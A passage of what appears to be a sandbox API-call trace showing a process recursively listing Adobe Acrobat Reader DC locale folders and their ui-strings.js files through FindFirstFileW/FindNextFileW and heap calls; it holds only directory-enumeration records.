ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0275.971] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.971] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 1 [0275.971] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0275.971] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315af0 [0275.973] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.973] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0275.973] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.973] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ar-ae\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0275.974] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.974] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0275.974] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0275.974] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.974] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1264927, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0275.974] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.974] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ca-es\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0275.976] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1264927, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1264927, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.976] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.976] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.976] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0275.976] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.976] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0275.976] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.976] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\cs-cz\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0275.977] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.978] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.978] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.978] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0275.978] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.978] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0275.978] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.978] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\da-dk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0275.979] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.979] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.979] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.979] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0275.979] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.979] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0275.980] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.980] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\de-de\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0275.980] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.980] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.980] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.980] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0275.980] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.981] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0275.981] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.981] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\en-ae\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0275.982] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.982] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.982] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.982] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0275.982] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.982] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0275.982] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.982] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\en-gb\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0275.983] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.983] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.983] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.983] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0275.983] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0275.983] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0275.983] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0275.983] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\en-il\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0275.984] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 